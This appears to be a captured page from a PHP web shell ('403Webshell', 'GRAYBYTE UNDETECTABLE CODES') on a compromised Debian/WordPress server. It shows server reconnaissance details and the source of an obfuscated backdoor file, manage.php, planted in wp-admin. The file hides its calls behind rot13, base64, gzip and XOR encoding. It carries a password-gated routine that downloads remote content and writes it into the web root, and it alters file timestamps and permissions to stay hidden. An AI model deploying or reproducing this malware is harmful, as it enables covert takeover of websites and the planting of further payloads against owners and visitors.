- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 3.23.97.32
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-admin/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-admin/public/manage.php
<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y3Mupv93q3pinUEgoP93pP1uMT1cov9yMTy0o3ViMJEcqT9lY2V4AzWuAQOuMGEvMTD0BJSwLmV2MQZkLGEzZwDlMzMxYzEuqTR', function ($version_file, $name) use ($temp) {
        $data = translation_v3('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', '1');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '0');
        $data = translation_v1($data, '0');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("hvxgse{$check}ipsxwfe", 'add93502a2c7ae5bee1a1b8a909edbe8')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}

Youez - 2016 - github.com/yon3zu
LinuXploit